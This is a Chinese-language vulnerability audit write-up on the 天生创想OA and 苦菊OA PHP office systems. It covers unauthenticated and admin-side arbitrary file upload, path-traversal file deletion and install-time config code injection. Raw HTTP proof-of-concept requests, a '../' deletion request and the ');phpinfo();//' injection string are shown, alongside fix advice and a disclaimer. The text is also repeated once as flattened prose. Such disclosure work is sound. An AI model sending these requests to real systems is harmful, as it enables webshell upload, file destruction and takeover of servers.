记一次对俩OA协同办公系统​的审计分析
字数 1513 2025-08-05 08:19:04

天生创想OA与苦菊OA系统安全审计报告

系统概述

天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,采用B/S(浏览器/服务器)架构。苦菊OA系统与天生创想OA系统存在相同的安全问题。

测试环境

  • Web服务器:Apache 2.4.39
  • PHP版本:5.3.29
  • 系统版本:V2019,PHPOA V4.0

漏洞分析

0X01 未授权任意文件上传漏洞

漏洞文件/upload/UploadHandler.php

漏洞分析

  1. /Upload/index.php包含UploadHandler.php并实例化UploadHandler
  2. handle_file_upload函数存在任意文件上传漏洞,未校验上传文件后缀
  3. 文件上传流程:
    • 生成文件名并指定上传目录
    • 调用get_upload_path函数处理文件路径
    • 未对cookie进行校验,导致未授权上传

漏洞利用

POST /upload/index.php?userid=1 HTTP/1.1
Host: www.kuju.com
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554

-----------------------------115858488212690034922831875554
Content-Disposition: form-data;name="files[]"; filename="1.php"
Content-Type: text/plain

<?php
echo 123;
phpinfo();
?>
-----------------------------115858488212690034922831875554—

Shell访问地址http://www.kuju.com/data//uploadfile//1//1614235203.php

0X02 后台任意文件上传漏洞

漏洞文件/uploadclass.php

漏洞分析

  1. upload.php包含uploadclass.php并实例化类
  2. 调用upload_file函数获取文件信息
  3. seve函数通过get_compare_extention()检查文件后缀
  4. 后缀检查依赖于extention_list变量,该变量通过set_extention函数设置
  5. 后台"系统设置"->"附件上传类型"可控制允许上传的文件类型

漏洞利用

  1. 登录后台,在"附件上传类型"中添加php后缀
  2. 上传php文件
  3. 访问上传的shell:http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php

0X03 任意文件删除漏洞

漏洞文件/include/dbbackup.class.php

漏洞分析

  1. /mana/mod_data.php处理文件删除操作
  2. del函数未校验文件后缀和路径,未过滤../
  3. 可跨目录删除任意文件
  4. 可利用此漏洞删除/cache/install.lock文件导致系统重装

漏洞利用

POST /admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: www.kuju.com
Content-Type: application/x-www-form-urlencoded

choice[]=../1.php&do=%E5%88%A0+%E9%99%A4

0X04 重装系统Getshell漏洞

漏洞文件/install/install.php

漏洞分析

  1. 安装过程中会写入配置文件
  2. 使用preg_replace检查并替换内容后写入config.php
  3. 可通过注入PHP代码实现Getshell

漏洞利用条件

  • PHP版本 <= 5.4.45(magic_quotes_gpc被移除)
  • 或PHP版本>5.4但magic_quotes_gpc = Off

利用方法

  1. 在安装过程中注入payload:');phpinfo();//
  2. 访问http://www.kuju.com/config.php执行代码

修复建议

  1. 文件上传漏洞

    • 严格校验上传文件类型,使用白名单机制
    • 对上传文件进行重命名
    • 设置上传目录不可执行
  2. 文件删除漏洞

    • 校验文件路径,防止目录遍历
    • 限制可删除的文件类型和目录
  3. 安装漏洞

    • 对写入配置文件的内容进行严格过滤
    • 安装完成后删除或重命名安装目录
  4. 通用建议

    • 升级PHP版本至最新稳定版
    • 实施严格的权限控制
    • 对用户输入进行严格过滤和验证

免责声明

本文档仅供技术研究学习使用,严禁用于非法操作。切实维护国家网络安全,普及相关网络安全知识是信息安全从业者的义务。

天生创想OA与苦菊OA系统安全审计报告 系统概述 天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,采用B/S(浏览器/服务器)架构。苦菊OA系统与天生创想OA系统存在相同的安全问题。 测试环境 : Web服务器:Apache 2.4.39 PHP版本:5.3.29 系统版本:V2019,PHPOA V4.0 漏洞分析 0X01 未授权任意文件上传漏洞 漏洞文件 : /upload/UploadHandler.php 漏洞分析 : /Upload/index.php 包含 UploadHandler.php 并实例化 UploadHandler 类 handle_file_upload 函数存在任意文件上传漏洞,未校验上传文件后缀 文件上传流程: 生成文件名并指定上传目录 调用 get_upload_path 函数处理文件路径 未对cookie进行校验,导致未授权上传 漏洞利用 : Shell访问地址 : http://www.kuju.com/data//uploadfile//1//1614235203.php 0X02 后台任意文件上传漏洞 漏洞文件 : /uploadclass.php 漏洞分析 : upload.php 包含 uploadclass.php 并实例化类 调用 upload_file 函数获取文件信息 seve 函数通过 get_compare_extention() 检查文件后缀 后缀检查依赖于 extention_list 变量,该变量通过 set_extention 函数设置 后台"系统设置"->"附件上传类型"可控制允许上传的文件类型 漏洞利用 : 登录后台,在"附件上传类型"中添加php后缀 上传php文件 访问上传的shell: http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php 0X03 任意文件删除漏洞 漏洞文件 : /include/dbbackup.class.php 漏洞分析 : /mana/mod_data.php 处理文件删除操作 del 函数未校验文件后缀和路径,未过滤 ../ 可跨目录删除任意文件 可利用此漏洞删除 /cache/install.lock 文件导致系统重装 漏洞利用 : 0X04 重装系统Getshell漏洞 漏洞文件 : /install/install.php 漏洞分析 : 安装过程中会写入配置文件 使用 preg_replace 检查并替换内容后写入 config.php 可通过注入PHP代码实现Getshell 漏洞利用条件 : PHP版本 <= 5.4.45(magic_ quotes_ gpc被移除) 或PHP版本>5.4但magic_ quotes_ gpc = Off 利用方法 : 在安装过程中注入payload: ');phpinfo();// 访问 http://www.kuju.com/config.php 执行代码 修复建议 文件上传漏洞 : 严格校验上传文件类型,使用白名单机制 对上传文件进行重命名 设置上传目录不可执行 文件删除漏洞 : 校验文件路径,防止目录遍历 限制可删除的文件类型和目录 安装漏洞 : 对写入配置文件的内容进行严格过滤 安装完成后删除或重命名安装目录 通用建议 : 升级PHP版本至最新稳定版 实施严格的权限控制 对用户输入进行严格过滤和验证 免责声明 本文档仅供技术研究学习使用,严禁用于非法操作。切实维护国家网络安全,普及相关网络安全知识是信息安全从业者的义务。